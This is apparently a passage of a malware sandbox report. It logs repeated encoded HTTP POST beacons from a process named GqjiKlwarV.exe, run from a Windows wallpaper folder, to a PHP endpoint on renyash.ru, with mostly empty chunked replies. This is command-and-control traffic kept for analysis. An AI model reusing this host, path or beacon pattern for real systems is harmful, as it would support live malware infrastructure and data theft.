Jan 1, 2025 15:18:02.358549118 CET	1056	OUT	Data Raw: 54 50 51 55 5f 59 57 5b 59 5b 5a 5a 52 52 5b 51 55 5e 5a 5d 57 5d 5b 58 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TPQU_YW[Y[ZZRR[QU^Z]W][X[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'8?_$:4Z"!7Y<??>.3:$<#6"-&?/^<]/*9]//_
Jan 1, 2025 15:18:02.450321913 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:02.621637106 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hu09vmg3NA1GEwhAHUum2xFd3A6jLHo0dP0ExhzTY8P8fnm1sCd%2BMOUlj388i4JAHQZXBi56ljhnHxOYpwvjHXr5os6PhYIg6hKXfhoX6MQ2Z0WIct8m%2Fh15TqADvXniEuKq1GRg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322e50a3a4267-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1843&min_rtt=1762&rtt_var=823&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=605557&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49860	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:02.750567913 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:03.108602047 CET	1056	OUT	Data Raw: 51 50 51 53 5f 5b 52 5d 59 5b 5a 5a 52 5e 5b 5b 55 59 5a 5b 57 58 5b 56 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QPQS_[R]Y[ZZR^[[UYZ[WX[V[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$C;3[3:$\5W?((?]+%%)"2? ">X%,#](=;[/9]//_ 0
Jan 1, 2025 15:18:03.194298029 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:03.449209929 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9AUHguHKxWbUVCc7N1dbCDKWmtP24uMHNR%2F5EOgNKXHN1QMqLCBGldYO9TUlhwyXVaY1X6inxqPUxPt4e605bCy7A8pm%2FmfBpVYGO7D8VFvSvzILSlvw17R25FkaJvuzLYHFXllL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322e9ac450f4b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2402&min_rtt=1644&rtt_var=2134&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=189241&cwnd=229&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49869	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:03.578386068 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:03.936765909 CET	1056	OUT	Data Raw: 51 56 54 53 5f 56 57 5d 59 5b 5a 5a 52 5f 5b 5e 55 5b 5a 57 57 59 5b 56 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QVTS_VW]Y[ZZR_[^U[ZWWY[V[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$/?0 5((3Z=.!V3\=Q2<Q"26[13]>.3_/9]//_ 4
Jan 1, 2025 15:18:04.040220976 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:04.203654051 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M6R48hs6GV03CP45CN4NfAPJ6dj%2FYNBSlWZDn4gs1X%2BFKeFegRE4loVPVm60oD5MA6RJ1%2FLmbSfjH6SvQ2%2BXil7ZdjR5I%2FXcrshpZBII%2BgpFG8C1SZuNDsNwb9o2wq11lLo5cYKI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322eeffc8f791-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3122&min_rtt=1461&rtt_var=3871&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=98956&cwnd=146&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49872	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:04.229466915 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1316 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:04.577291012 CET	1316	OUT	Data Raw: 51 50 54 50 5f 58 52 5d 59 5b 5a 5a 52 5b 5b 58 55 58 5a 5a 57 58 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QPTP_XR]Y[ZZR[[XUXZZWX[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]';706!?]+3(>!'%W%,,51 +=7_8:9]//_
Jan 1, 2025 15:18:04.680018902 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:04.934959888 CET	956	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JMBY8Uydphc4CQmCJoG1SnxoH3so8vBvhM%2B8Le454Caa%2FaXiqAja%2BhmT57VLoEDjINuGhLmNhK9D8Htkh2L1B7sewRYWLAPo%2Fz7K8ZTQ4Qm71ZF3AhZL43xe2IFU6hy3fB5TwHWX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322f2ffa878e8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3529&min_rtt=2019&rtt_var=3777&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1644&delivery_rate=103538&cwnd=229&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2e 57 22 39 2d 58 27 01 2f 01 2e 3c 2d 58 3c 06 30 5c 2a 12 03 14 32 38 3e 55 29 0c 3a 08 22 29 0a 06 3c 5a 2a 0c 31 2c 21 50 25 28 2e 5a 0d 1c 3a 06 36 3d 34 0a 32 32 3a 0c 27 01 3e 05 34 3e 39 00 22 38 30 00 32 3e 21 06 25 29 17 1c 3a 00 2b 10 2c 13 3e 45 2f 1e 0f 07 30 05 23 50 0f 1f 20 0f 31 10 22 04 24 08 3c 58 35 1d 0a 53 22 04 25 1e 20 04 28 53 27 03 32 59 30 06 22 51 26 05 37 55 21 3d 35 0a 26 22 2c 09 33 18 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98.W"9-X'/.<-X<0\28>U):")<Z1,!P%(.Z:6=422:'>4>9"802>!%):+,>E/0#P 1"$<X5S"% (S'2Y0"Q&7U!=5&",3/]!,U>TQ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49877	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:04.327939987 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:04.686642885 CET	1056	OUT	Data Raw: 54 5d 51 50 5f 58 57 5b 59 5b 5a 5a 52 5d 5b 59 55 5c 5a 59 57 5a 5b 5c 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T]QP_XW[Y[ZZR][YU\ZYWZ[\[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$;?0'5W?+83?.-V0*61/ 622\2<8<.'\8:9]//_ <
Jan 1, 2025 15:18:04.781266928 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:05.027193069 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0VvlWPB82KYoCxdn1Z0p5Uz2FjokjyNE1Uihc6tcTl7jmAiOetle3TMtq5fMPvFQp15d1OcyPg8iOFdZapb3LbsBhDMln58%2BZIJYJbfbUtx11DDN3bLBgvYeDixjF2KulBnCFyq%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322f39c640f4b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6078&min_rtt=1595&rtt_var=9565&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=38971&cwnd=229&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49883	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:05.160154104 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:18:05.514910936 CET	1056	OUT	Data Raw: 54 52 54 5e 5f 5b 52 5a 59 5b 5a 5a 52 53 5b 59 55 5c 5a 58 57 5d 5b 59 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TRT^_[RZY[ZZRS[YU\ZXW][Y[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$8/3X00!;]+(#\=>T'%<("26'??]?=?\;9]//_
Jan 1, 2025 15:18:05.618895054 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:05.792459011 CET	815	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9KGjt7nKaDFOLv0MsSsItRhhRXPDwUgd%2BzJxyy77NK3VyOni3y5oad7%2FZtzblcHdBYSJ24k6Fwet88q4sOft%2B8%2BoJd%2FBiMnwbNXGu5ZbNe79ggVjZz%2BZR3swML1pZRmNdP%2F%2BY0It"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322f8da19c46b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9298&min_rtt=8979&rtt_var=4006&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=126549&cwnd=225&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49889	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:05.944020987 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:06.296281099 CET	1056	OUT	Data Raw: 51 56 54 54 5a 5c 57 5b 59 5b 5a 5a 52 58 5b 5b 55 5f 5a 57 57 51 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QVTTZ\W[Y[ZZRX[[U_ZWWQ[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$C-??3?54)(4==%P0:2+P"W21$(Z;9]//_ (
Jan 1, 2025 15:18:06.388129950 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:06.648694992 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YiyRtCm1PlTcNDkdFnvCcgs1RPImyZMezEM%2BYqktAce3%2F7uAc3RSxcETB7xa5QFe9yj166iznxAuw%2B713731PUudT%2BDnQ8kbshOXqcmST%2BwgrxFD427ToUeVYxQwZBe5F4fQ61OW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322fda823435d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1773&min_rtt=1762&rtt_var=684&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=786214&cwnd=127&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49895	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:06.766088009 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:07.124145985 CET	1056	OUT	Data Raw: 54 5c 54 52 5a 5c 52 5e 59 5b 5a 5a 52 5c 5b 5e 55 59 5a 5d 57 50 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T\TRZ\R^Y[ZZR\[^UYZ]WP[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$@;$&905()(7\=.-V')5S2#T51-2< ?]/9]//_
Jan 1, 2025 15:18:07.219237089 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:07.397692919 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RQkLSUaCLdkc9jOZbuAwUW4B%2B8oUebxN%2BoZoriGCy3HXzSz3EP4BI4ZFsz77e734lINmyn22BlK3kjpnADCvSQx44pd4TNWGpLnnanosd%2BbUv6iefq%2BtXYv2%2BuFXyPA1punQ0Eu5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32302d8585e5f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8341&min_rtt=1967&rtt_var=13487&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=27564&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49901	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:07.516603947 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:07.874212980 CET	1056	OUT	Data Raw: 54 55 54 52 5a 5c 57 5b 59 5b 5a 5a 52 5e 5b 51 55 54 5a 5b 57 51 5b 5d 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TUTRZ\W[Y[ZZR^[QUTZ[WQ[][YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]';Y#[&)'"!??^+Y+>%:$<8!W6[1??+=#_;9]//_ 0
Jan 1, 2025 15:18:07.960591078 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:08.220097065 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QgfDNMMXCR9zhSUkwQOFnNS9lB6J7D5AWmaQ47zuW%2FNfiLX1iT3bNBSrQmbOZQwNmVq%2BCtP5itNPIDqv7HoZhjIvbyjsF%2FJv5N%2FJsYTfz3tybPoT%2BoJU8USaiOgjCUHwyEL57vSC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323077fef5e80-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2519&min_rtt=1727&rtt_var=2231&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=181074&cwnd=217&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49907	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:08.344916105 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:08.702280998 CET	1056	OUT	Data Raw: 54 50 54 57 5a 58 52 5e 59 5b 5a 5a 52 5e 5b 59 55 5d 5a 5d 57 51 5b 5b 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TPTWZXR^Y[ZZR^[YU]Z]WQ[[[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$;Y,$:861#\?]<>'!R15-'/(<0/*9]//_ 0
Jan 1, 2025 15:18:08.808796883 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:09.064416885 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c1gsOZVq3CFXAaM7Geb1jtg62SJ6sAoS0LyVbsXlsCJ7BQCkCLUl7LaYKU39WrTI6nfANNfaoSjScQZaKxIGnTkGFwFop9Hn%2BJ9zL0nW94AIvPAnRChSYMp%2BJFX8iyf8hkgXewWi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3230cb80cde92-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2816&min_rtt=1473&rtt_var=3239&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=119456&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49913	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:09.198595047 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
